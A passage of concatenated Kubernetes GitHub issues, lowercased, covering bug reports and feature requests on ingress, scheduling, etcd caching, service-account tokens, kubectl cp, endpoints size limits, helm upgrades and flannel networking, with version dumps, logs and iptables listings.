minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ ,\r builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration: azure aks\r

is this a bug report or feature request?  :\r \r feature request.\r \r  \r   what happened  :\r \r i can't create an ingress without service and rules.\r \r   what you expected to happen  :\r \r i want to create an empty ingress so i can dynamically add and remove rules by json patch by requests to my application.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create an empty ingress.\r \r    yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: test-ingress\r   annotations:\r     nginx.ingress.kubernetes.io/rewrite-target: /\r spec:\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ 9e4010d067ee4d799330980e62830b06a07296bd\ , gittreestate:\ clean\ , builddate:\ 2018-04-26t04:07:23z\ , goversion:\ go1.10.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:43:26z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r n/a\r \r - os  e.g. from /etc/os-release :\r \r n/a\r \r - kernel  e.g.  uname -a  :\r \r n/a\r \r - install tools:\r \r n/a\r \r - others:\r \r n/a

please coordinate with sig-scheduling before working on this issue. we want to avoid the situation where two people accidentally start work on the same fix.\r main tracking issue:  69767\r \r when we first heard about the kubernetes scheduler, i think you are as curious as me:\r how does it work?\r what is the scheduler for?\r wait why did our pod get stuck then?\r why is the scheduler designed this way?\r etc...\r \r so, we need a user guidance document feel free to create in https://github.com/kubernetes/website/tree/master/content/en/docs/concepts/scheduling  to answer these questions, you can do it by referring to https://jvns.ca/blog/2017/07/27/how-does-the-kubernetes-scheduler-work/. \r if you happen to have more ideas, that's great.\r \r   /help\r /good-first-issue\r

in line with the \ next steps\  roadmap   10098  we should provide some guidance information that will assist users with determining how to move forward with kubernetes and eventually use it in their production environment  \ planning and designing considerations\  : - this is the help topic that users reference  for guidance  when they know that they want to take the next steps for really switching over to and using k8s. - this should cover everything that a person should know in order for them to understand whats involved with:   - migrating to k8s     - plus any key steps/requirements for moving from test to production environments   - designing their environments for:     - scaling up/down     - enhancing  ie design/implement for future ha, etc.       - securing     - performance consideration     - etc.

per a comment in  docs/devel/e2e-tests.md , we should have a mock e2e test that can be copied.        todo:   create a self-documented example which has been disabled, but can be copied to create new tests and outlines the capabilities and libraries used.

see issue  15050; we should make sure that we have a test that checks that partitions are respected with aws ebs volumes

recently we observed high latencies on post pods on our scalability tests. for more context see: https://github.com/kubernetes/kubernetes/issues/22340  it appeared to be throttling related, e.g.:      w0302 21:38:28.190204       5 request.go:627  throttling request took 1.281100127s, request: get:http://127.0.0.1:8080/api/v1/namespaces/e2e-tests-load-6cqci/limitranges i0302 21:38:28.191235       5 handlers.go:152  get /api/v1/namespaces/e2e-tests-load-6cqci/limitranges:  853.53âµs  200   kube-apiserver/v1.2.0  linux/amd64  kubernetes/2cf9157  127.0.0.1:58515  i0302 21:38:28.193396       5 trace.go:57  trace \ create /api/v1/namespaces/e2e-tests-load-6cqci/pods\   started 2016-03-02 21:38:26.908795629 +0000 utc :  20.412âµs   20.412âµs  about to convert to expected version  239.558âµs   219.146âµs  conversion done  1.282815499s   1.282575941s  about to store object in database  1.284377959s   1.56246ms  object stored in database  1.284389884s   11.925âµs  self-link added  1.284548334s   158.45âµs  end      as an example look at resource quota admission controller. in https://github.com/kubernetes/kubernetes/pull/20446 there was some fallback added to use lru cache in case of on objects. however, not what happens if we are sending multiple post pods at the same time to apiserver. what happens in admit   if there are no results in indexer, we list resourcequotas. but if there are multiple calls at the same time, there can be multiple lists before the cache is updated: https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/admission/resourcequota/admission.go l131 but this can cause throttling of these requests.  what we should do is: if there is list   in flight, we should wait until it is finished and lookupcache is updated.  @derekwaynecarr

we have a cache layer in front of etcd to reduce the load directly hit at etcd.  the cache layer works in two steps: first builds the initial state through listing the entire state, then watches on items and applies incremental changes to the initial state.  the first list can be very expensive when the initial is large. a list/re-list can suddenly put a lot of load onto etcd and blocks other normal operations.  we should: 1. avoid unnecessary relist 2. avoid large relist  <del> today's reflector always tries to do relist no matter what the state the backing store is: https://github.com/kubernetes/kubernetes/blob/master/pkg/client/cache/reflector.go l291. we should improve this by trying to catch up with the state of store by watch first. reflector should only do a relist when etcd does not have the required history event. </del>   second, as etcd3 supports consistent snapshot and pagination, we should limit the number of item to list and build the initial state in a controlled manner.  /cc @wojtek-t @timothysc @lavalamp @mqliang @hongchaodeng

a few weeks ago on slack i brought up the idea of writing a generic webhook admission controller.  much like authentication, authorization and even the  imagepolicywebhook  admission controller, the idea would be that kubernetes could call out to some external resource that itself implements the necessary bits based on their need as an admission controller.  the implementation details are not fully fleshed out but the plan would be to start out small with support for some very specific kubernetes types and later attempt to support all kubernetes types either explicitly or through some generic fashion.  the reasons something like this might be useful are two fold: 1. getting custom admission controllers into kubernetes right now requires building a custom version of kubernetes _ this topic has come up a lot and is not the sole purpose of this feature _ 2. using a webhook for something like this would allow the cluster owner to implement the admission controller however they deem fit, in whatever language they want _ even if the first reason was taken care of, this could still be reason enough to implement such a thing _  webhooks in kubernetes are already used in authentication, authorization and even in the  imagepolicywebhook  admission controller so this is not something that's not been done before.  but i do realize that implementing this admission controller right will be quite the undertaking.  the purpose of this _feature request_ was not to ask the kubernetes team to work on this, i've already started working on this locally, but to give an _official_ place for interested parties to discuss this and link related issues to.  while discussing this on slack, there were a number of concerns and related issues that i feel should be mentioned: - https://github.com/kubernetes/kubernetes/issues/3585 - https://github.com/kubernetes/kubernetes/pull/34131  there were also a few interested parties that i thought made sense to cc: - @deads2k  - @derekwaynecarr  - @erictune  - @justinsb  - @ncdc - @thockin  - @tsandall  i will add more details and discussion as necessary.  please feel free to contribute to this discussion.

some of the types such as nodecondition don't have the gvk extension in the swagger.json.  this makes it impossible to rely on the gvk extension when generating docs or clients.

we talked about running as much our components as docker container, but excluding both docker daemon and kubelet. running kubelet as docker container is hard, especially with mount namespace; but we should experiment it and document what difficulties we have, and eventually work with our partners to solve those issues.   cc/ @thockin

failure cluster  4c3f2f715c59d784a341  https://go.k8s.io/triage 4c3f2f715c59d784a341        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:219 jul 12 22:23:11.694: error waiting for all pods to be running and ready: 4 / 33 pods in namespace \ kube-system\  are not in running and ready state in 10m0s pod                    node                            phase   grace conditions fluentd-es-v1.24-66rkf bootstrap-e2e-minion-group-6m0c pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:05:43 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:05:43 +0000 utc containersnotready containers with unready status:  fluentd-es } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:05:43 +0000 utc  }  fluentd-es-v1.24-8x08g bootstrap-e2e-minion-group-sfb4 pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:06:36 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:06:36 +0000 utc containersnotready containers with unready status:  fluentd-es } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:06:47 +0000 utc  }  fluentd-es-v1.24-cpqhf bootstrap-e2e-master            pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:05:37 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:05:37 +0000 utc containersnotready containers with unready status:  fluentd-es } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:05:52 +0000 utc  }  fluentd-es-v1.24-cqmrp bootstrap-e2e-minion-group-6hlr pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:06:35 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:06:35 +0000 utc containersnotready containers with unready status:  fluentd-es } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-07-12 22:06:50 +0000 utc  }   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:170           failure cluster statistics: 1 tests failed,    2 jobs failed,    88 builds failed. failure stats cover 1 day time range '14 jul 2017 02:46 utc' to '15 jul 2017 02:46 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gci-gce-es-logging | 44 |  15 jul 2017 01:53 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-es-logging/11215  | | ci-kubernetes-e2e-gce-es-logging | 44 |  15 jul 2017 01:58 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-es-logging/14495  |   current status  https://go.k8s.io/triage 4c3f2f715c59d784a341

 \r @kubernetes/sig-architecture\r \r   what happened  :\r \r this issue have been posted on stackoverflow first : https://stackoverflow.com/questions/46435314/how-to-setup-ha-when-the-masters-have-the-same-hostname\r \r setting up high availability with 2 masters that have the same hostname but different domain names, for instance: \r \r - foo.domain1.tld\r - foo.domain2.tld\r \r we configured the high availability of the controller and scheduler with the option  --leader-elect=true . the way it works is by setting a key in etcd  by default  kube-scheduler  . it can be seen in the scheduler logs\r \r    \r i0926 15:29:53.926628       1 event.go:218  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-scheduler\ , uid:\ 8b6d7117-a2cf-11e7-a32d-549f351a92e0\ , apiversion:\ v1\ , resourceversion:\ 3315810\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' foo became leader\r    \r \r i checked the key directly into etcd and the value written is the hostname, not the fqdn. so the elected master will always be foo though the masters have different domain names :  domain1.tld ,  domain2.tld .\r \r \r   what you expected to happen  :\r \r provide a way to set another value for the lock such as the option  --hostname-override \r \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r create a cluster with 2 masters in order to provide high availability.\r the schedulers and controller-manager configured with the parameter  --leader-elect=true . both masters   must   have the same hostname  the one that can be retrieved by using the command line  hostname  .\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version : v1.7.5 \r - baremetal servers\r - os : ubuntu xenial\r - kernel : 4.4.0\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r according to https://github.com/kubernetes/kubernetes/pull/53480 , it seems  podtoleratesnodetaints  predicate was not enabled in e2e cluster. it's better to enable all predicates for alpha feature test.\r \r

is this a bug report or feature request?  :\r  \r this is an umbrella bug for https://k8s-gubernator.appspot.com/builds/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-scale-performance/ problems.\r \r @kubernetes/sig-scalability-bugs \r /

fix this todo  raised by @bsalamat  : https://github.com/kubernetes/kubernetes/blob/30b89d830b7fd0827576853d6a0db44b66a90d3d/pkg/scheduler/core/generic_scheduler.go l482\r \r part of:  58222  \r \r one thoughts to fix this is, we can redesign the equivalence cache data structure to: \r 1. set  invalid  bool instead of deleting the entry. \r 2. include certain version tag in the entry, update the version per write op  update and invalidate . \r 2. return the version after ecache predicate,  and check it before update ecache.

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r \r \r  kubectl cp  relies on tar to extract the copied file/directory in the\r container, tar by default attempts to chown/chmod the extracted file\r after extraction if the user is the \ superuser\  root \r \r    \r --same-owner\r try extracting files with the same ownership as exists in the archive\r  default for superuser \r -p, --preserve-permissions, --same-permissions\r extract information about file permissions  default for superuser \r    \r \r this fails in environment where the container runs as root but is not\r granted the owner or chown capability.\r \r   what you expected to happen  :\r \r kubectl cp should copy the file to the destination as the user in container\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    \r kubectl cp readme.md foo-67b6fcbd4c-qjlt6:/tmp\r tar: readme.md: cannot change ownership to uid 1000, gid 1000: operation\r not permitted\r tar: exiting with failure status due to previous errors\r command terminated with exit code 2\r kubectl exec -it foo-67b6fcbd4c-qjlt6 -- ls -l /tmp/readme.md\r -rw------- 1 1000 1000 3179 oct  7 22:00 /tmp/readme.md\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.11.3\r - cloud provider or hardware configuration: on prem\r - os  e.g. from /etc/os-release : debian stretch\r - kernel  e.g.  uname -a  : 4.14.52\r - install tools: self install\r

over the next n releases, we would like to transition the serviceaccount admission controller to injecting service account token volumes based on the tokenrequest api and volume projection designed here:\r \r https://github.com/kubernetes/community/blob/master/contributors/design-proposals/auth/bound-service-account-tokens.md\r https://github.com/kubernetes/community/blob/master/contributors/design-proposals/storage/svcacct-token-volume-source.md\r \r i propose we use the feature mechanism, with plenty of lead time and noisy announcements, to phase this change in.\r \r     proposed plan\r \r  this following is pretty close to what the announcement will look like. \r \r with the enablement of a new feature, secureserviceaccounttokenvolume, we will switch the service account admission control to injecting service account token volumes that use the new tokenrequest api to provision tokens. we will loudly announce a new feature that will be alpha in 1.13 called secureserviceaccountokenvolume. \r \r the new service account token volumes are preferred over the old volumes because:\r \r   tokens provisioned into the new volumes are only valid for a short ttl and are rotated automatically, minimizing the impact of a token exfiltration.\r   tokens provisioned into the new volumes are bound to the pod, which greatly simplifies the difficulty of a forced credential rotation. operators need only redeploy their application  e.g. trigger a deployment rolling update . this operation is complex to execute without application disruption with the old volumes, and we don’t have any official guidance on the process.\r   tokens provisioned into the new volumes are audience bound to the api server which should dissuade integrators from accepting them as identity proof elsewhere thus improving the security posture of authentication to the kubernetes api server.\r   tokens provisioned into the new volumes do not depend on data stored in kubernetes secrets and are not persisted in any database, reducing the impact and value of a read compromise of the secrets api.\r   tokens provisioned into the new volumes do not depend on data stored in kubernetes secrets that must be replicated per service account instance which will solve long standing scalability issues with the implementation of service accounts once the migration is complete. see https://github.com/kubernetes/kubernetes/issues/48408\r   tokens provisioned into the new volumes are not referencable in enviornment variables via the downward api.\r   tokens provisioned into the new volumes have stricter file permission. they must be either  0600  or  0640  when using the \ fsgroup\  feature. they do not allow overrides to more permissive permissions.\r \r the secureserviceaccountokenvolume feature will:\r \r  switch the service account admission controller to using a projected volume  with a token projection  to implement the old service account volume’s filesystem api.\r   make --service-account-issuer a required flag thus requiring that tokenrequest will be enabled.\r \r users who use the alpha release track to canary what’s coming down the pike will encounter this and will notice that:\r \r   their api servers won’t start until they add the flags required to enable tokenrequest\r   in-cluster clients of the kubernetes apiserver that don’t reload service account tokens will start failing an hour after deployment. they will need to update these clients.\r podsecuritypolicies that allowed secret volumes but not projected volumes will no longer be usable with newly created pods that auto-mount service account volumes. they will need to allow projected volumes now.\r   pre-1.11 kubelets  assuming they also enable alpha features  will no longer run new pods that mount service account volumes.\r \r we will continue to announce this new behavior each release. we will leave this feature in alpha for a release or more then graduate it to beta and enable it by default. at this point, users will either have to make the changes to upgrade or explicitly disable the beta feature. after a long deprecation, we will promote the feature to ga and remove the ability for clusters to opt out.\r \r     notified parties\r \r   sig-apimachinery to consult on plan\r   sig-arch to consult on plan\r   kubernetes-dev to notify of intent to make this change\r   kubernetes-announce to notify of intent to make this change\r \r     \r @kubernetes/sig-auth-feature-requests \r @kubernetes/sig-api-machinery-feature-requests \r @kubernetes/sig-architecture-feature-requests\r @liggitt @tallclair @cjcullen @smarterclayton

what happened  :\r \r when a service select many backend pods  e.g. 10k , the corresponding endpoints object becomes big  >1mb in proto . \r \r on kube-proxy, the api watcher will start dropping the endpoints object and will not program iptables for the service.\r    \r k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:86: watch of  core.endpoints ended with: very short watch: \r k8s.io/kubernetes/pkg/client/informers/informers_generated/internalversion/factory.go:86: unexpected watch close - watch lasted less than a second and no items received\r    \r \r on master, if the object is too big. it can result in write failure to etcd. \r    \r error syncing endpoints for service \ xxxxx/xxxxxxxxx\ : etcdserver: request is too large\r    \r \r \r   what you expected to happen  :\r \r it should just work.\r \r \r   proposed short term fix  :\r \r 1. add support in endpoint controller to truncate the endpoint object to the size supported configured . with this approach, while all endpoints are not reflected, traffic disruption can be avoided by avoiding stale ip tables state on nodes.   \r 2. add events when endpoint object size is approaching limits and when it exceeds limit - resulting in truncation.  ideally also generate events where we would drop the message \r \r \r   environment  : oss k8s\r - kubernetes version  use  kubectl version  : 1.11\r \r \r

what happened  :\r we used helm to upgrade our deployment. it causes our \r you can view the thread here:\r https://github.com/helm/helm/issues/5473\r \r hickeyma verified this issue is not a helm but but a k8s patch command bug.\r \r   what you expected to happen  :\r i installed a deployment which was added a serviceaccountname. then when i tried to install a version that doesnt use the serviceaccountname, the pod couldn't load.\r what happened is that the serviceaccount was deleted as expected but the serviceaccountname was not removed from my deployment. so the pod couldnt load and my deployment was broken.\r i had to manually edit the deployment and remove the serviceaccountname entry. this solved the issue.\r \r   how to reproduce it  as minimally and precisely as possible   :\r thanks hickeyma  from the helm team for writing this:\r 1. install a chart which contains deployment which references a service account. easiest to add service account resources in the chart.\r 2. upgrade the release where the deployment no longer references the service account and the service account has been removed  for example, remove the service account resource from the chart before upgrade . need to pass --recreate-pods with helm upgrade.\r 3. the pod should terminate and fail to restart.\r \r \r   anything else we need to know?  \r this happens because the serviceaccountname field in the pod specification object is not handled by patch, and therefore it's not removed during an upgrade.\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:37:52z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:30:26z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ \r \r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r \r \r - kernel  e.g.  uname -a  :\r linux ubuntu 4.4.0-143-generic  169-ubuntu smp thu feb 7 07:56:38 utc 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r helm:\r output of helm version:\r client: &version.version{semver:\ v2.13.0\ , gitcommit:\ 79d07943b03aea2b76c12644b4b54733bc5958d6\ , gittreestate:\ clean\ }\r server: &version.version{semver:\ v2.13.0\ , gitcommit:\ 79d07943b03aea2b76c12644b4b54733bc5958d6\ , gittreestate:\ clean\ }\r - others:\r cloud provider/platform  aks, gke, minikube etc. :\r on premise kubeadm -\r kubeadm version -\r kubeadm version: &version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.4\ , gitcommit:\ c27b913fddd1a6c480c229191a087698aa92f0b1\ , gittreestate:\ clean\ , builddate:\ 2019-02-28t13:35:32z\ , goversion:\ go1.11.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r @kubernetes/sig-architecture\r  

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r this is a followup on  64393 , since it only added the new cni capabilities to the dockershim. they shoud be added to the cri too\r \r   why is this needed  :\r \r runtimes should have at least feature parity, we found out that this was missing when trying to use the  ipranges  capability with https://github.com/kubernetes-sigs/kind/pull/500\r

repro: - create an rc.yml with an unknown image - attempt to create rc with kubectl  expected: - error/alert that image cannot be found  actual: - indicates \ pending\   generally speaking, it's best to not have a term overloaded in this way - \ pending\  means things are going on properly, and all will be right soon. \ error\  means nothing is going to happen unless you fix it.

it would be nice to have some docs on setting up and running a production cluster on aws, and maybe in general. i know there is some stuff about ha masters, which is great. but, it might also be nice to have some recommendations on best practices for adding nodes to the cluster after it's running. in the context of aws does that mean utilizing auto scaling groups? if so, maybe we should include an example?  @justinsb @bakins any thoughts on this? any other kubernetes production best practices we should communicate?

_note: relates to issue   28310: discovering, bookkeeping and isolating platform resources other than cpu time and main memory.  https://github.com/kubernetes/kubernetes/issues/28310 _  perform extra isolation actions in the kubelet based on pod annotations for pod lifecycle events:  pre-start ,  post-start ,  update ,  termination . lifecycle events except  pre-start  could conceivably be hacked around with polling at the cost of latency, extra code, and server load. extra actions for lifecycle events could be encoded using annotations  for a first pass . these annotations could be added to incoming pods by the api server, via a custom admission controller. examples of extra actions: -  pre-start : decorate  docker run  command  rkt/hyper equivalent  to add device flag so that the cgroup can get set up properly, mount additional stuff from host like drivers, debug tooling, etc. -  post-start : any isolation mechanism not yet supported by the container runtime interface that depends on having a process id in hand  e.g.  intel rdt  http://www.intel.com/content/www/us/en/architecture-and-technology/resource-director-technology.html  . -  update : adjusting cache allocation in response to a new request value. -  termination : cleanup actions to “release” resources.  “isolation extenders” might want to modify  configuration for a container before it is handed off to the container runtime.  cc @davidopp @balajismaniam

 \r   what happened  :\r i've misspelled the dns-provider  put googlecloud-dns instead of google-clouddns  when running  kubefed init \r it successfully ran and said everything was ok. however, federation-control-plane pod entered in crashloopbackoff and i could only see the error in the pod's logs:\r    f0710 20:15:37.946633       1 controllermanager.go:174  cloud provider could not be initialized: unknown dns provider \ googlecloud-dns\    \r \r \r   what you expected to happen  :\r if any string different than 'google-clouddns', 'aws-route53' or 'coredns' is provided in  dns-provider , kubefed should return an error to the client.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r i have kubernetes cluster running in gcp.\r \r everything was working fine until today.  kubectl exec  commands are timing out now:\r \r     kubectl exec -it <pod_id> bash\r     error: timeout occured\r \r everything else seems to be working fine  e.g.  kubectl get pods ,  kubectl logs pod  .\r   what you expected to happen  :\r open the bash of the pod\r   how to reproduce it  as minimally and precisely as possible   :\r don't know. i don't even know how to troubleshoot it.\r \r   environment  :\r - kubernetes version  use  kubectl version  : client version: major:\ 1\ , minor:\ 8\ . server version: major:\ 1\ , minor:\ 8+\ \r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release : ubuntu\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i am trying to build a ha cluster with 3 master nodes, however, overlay network always breaks on master1 . once flannel is installed, all 3 masters become \ ready\  and i see kube-dns pods starting up. i can also fetch the ip it has been assigned with, but when i try to ping it from each of the master nodes, only master2 and master3 are able to get a response. this happens every time if you try to init the cluster. this also means any other pods that start up subsequently is not reachable from master1.\r \r   what you expected to happen  :\r the init should work as expected and once overlay network is installed, all nodes should be able to reach all pods.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. installed external etcd with tls\r 2. install docker, kubelet, flanneld on master nodes\r 3. configure and start flanneld with tls authentication\r 4. start docker and initalize cluster with kubeadm and supplied custom configure with all etcd endpoints and certs\r 5. copy /etc/kubernetes/pki to master2, master3 and kubeadm init them as well\r 6. modify kube-apiserver.yaml to enable endpoint-reconciller\r 7. install flannel overlay pod and roles using kube-flannel.yml\r 8. monitor master nodes become ready and kube-dns pod creation\r 9. check what ip the pod is assigned with and try to ping it from each master node\r \r   anything else we need to know?  :\r the etcd nodes  3  are external and using tls authentication. i don't think that should matter.\r i noticed the iptables rules changed once the flannel pod is installed\r from:\r    \r chain kube-firewall  2 references \r target     prot opt source               destination         \r drop       all  --  anywhere             anywhere             /  kubernetes firewall for dropping marked packets  / mark match 0x8000/0x8000\r chain kube-forward  1 references \r target     prot opt source               destination         \r accept     all  --  anywhere             anywhere             /  kubernetes forwarding rules  / mark match 0x4000/0x4000\r accept     all  --  10.244.0.0/16        anywhere             /  kubernetes forwarding conntrack pod source rule  / ctstate related,established\r accept     all  --  anywhere             10.244.0.0/16        /  kubernetes forwarding conntrack pod destination rule  / ctstate related,established\r chain kube-services  2 references \r target     prot opt source               destination         \r reject     tcp  --  anywhere             10.96.0.10           /  kube-system/kube-dns:dns-tcp has no endpoints  / tcp dpt:domain reject-with icmp-port-unreachable\r reject     udp  --  anywhere             10.96.0.10           /  kube-system/kube-dns:dns has no endpoints  / udp dpt:domain reject-with icmp-port-unreachable\r    \r to:\r    \r chain kube-firewall  2 references \r target     prot opt source               destination         \r drop       all  --  anywhere             anywhere             /  kubernetes firewall for dropping marked packets  / mark match 0x8000/0x8000\r chain kube-forward  1 references \r target     prot opt source               destination         \r accept     all  --  anywhere             anywhere             /  kubernetes forwarding rules  / mark match 0x4000/0x4000\r accept     all  --  kube-master-01.mydomain.com/16  anywhere             /  kubernetes forwarding conntrack pod source rule  / ctstate related,established\r accept     all  --  anywhere             kube-master-01.mydomain.com/16  /  kubernetes forwarding conntrack pod destination rule  / ctstate related,established\r chain kube-services  2 references \r target     prot opt source               destination     \r    \r the pod kube-dns is running on master3\r  kube-controller-manager-kube-master-03.mydomain.com   1/1       running   1          27m       10.1.130.167   kube-master-03.mydomain.com \r the flannel pod on master3 shows routing error\r    \r i0210 01:21:39.994546       1 main.go:475  determining ip address of default interface\r i0210 01:21:39.996815       1 main.go:488  using interface with name eth0 and address 10.1.130.167\r i0210 01:21:39.996835       1 main.go:505  defaulting external address to interface address  10.1.130.167 \r i0210 01:21:40.016707       1 kube.go:131  waiting 10m0s for node controller to sync\r i0210 01:21:40.016779       1 kube.go:294  starting kube subnet manager\r i0210 01:21:41.016924       1 kube.go:138  node controller sync successful\r i0210 01:21:41.016970       1 main.go:235  created subnet manager: kubernetes subnet manager - kube-master-03.mydomain.com\r i0210 01:21:41.016978       1 main.go:238  installing signal handlers\r i0210 01:21:41.017173       1 main.go:353  found network config - backend type: vxlan\r i0210 01:21:41.017250       1 vxlan.go:120  vxlan config: vni=1 port=0 gbp=false directrouting=false\r i0210 01:21:41.039621       1 main.go:300  wrote subnet file to /run/flannel/subnet.env\r i0210 01:21:41.039638       1 main.go:304  running backend.\r i0210 01:21:41.039650       1 main.go:322  waiting for all goroutines to exit\r i0210 01:21:41.039672       1 vxlan_network.go:60  watching for new subnet leases\r i0210 01:21:41.098058       1 iptables.go:115  some iptables rules are missing; deleting and recreating rules\r i0210 01:21:41.098088       1 iptables.go:137  deleting iptables rule: -s 10.244.0.0/16 -j accept\r i0210 01:21:41.100093       1 iptables.go:137  deleting iptables rule: -d 10.244.0.0/16 -j accept\r i0210 01:21:41.192839       1 iptables.go:115  some iptables rules are missing; deleting and recreating rules\r i0210 01:21:41.192876       1 iptables.go:137  deleting iptables rule: -s 10.244.0.0/16 -d 10.244.0.0/16 -j return\r i0210 01:21:41.193963       1 iptables.go:125  adding iptables rule: -s 10.244.0.0/16 -j accept\r i0210 01:21:41.195415       1 iptables.go:137  deleting iptables rule: -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j masquerade\r i0210 01:21:41.196919       1 iptables.go:137  deleting iptables rule: ! -s 10.244.0.0/16 -d 10.244.2.0/24 -j return\r i0210 01:21:41.197745       1 iptables.go:125  adding iptables rule: -d 10.244.0.0/16 -j accept\r i0210 01:21:41.198468       1 iptables.go:137  deleting iptables rule: ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j masquerade\r i0210 01:21:41.199689       1 iptables.go:125  adding iptables rule: -s 10.244.0.0/16 -d 10.244.0.0/16 -j return\r i0210 01:21:41.295330       1 iptables.go:125  adding iptables rule: -s 10.244.0.0/16 ! -d 224.0.0.0/4 -j masquerade\r i0210 01:21:41.297580       1 iptables.go:125  adding iptables rule: ! -s 10.244.0.0/16 -d 10.244.2.0/24 -j return\r i0210 01:21:41.299797       1 iptables.go:125  adding iptables rule: ! -s 10.244.0.0/16 -d 10.244.0.0/16 -j masquerade\r e0210 01:21:42.856864       1 vxlan_network.go:158  failed to add vxlanroute  10.244.0.0/24 -> 10.244.0.0 : invalid argument\r    \r   environment  :\r - kubernetes version  use  kubectl version  : 1.93\r - cloud provider or hardware configuration: on-prem\r - os  e.g. from /etc/os-release : centos 7.4\r - kernel  e.g.  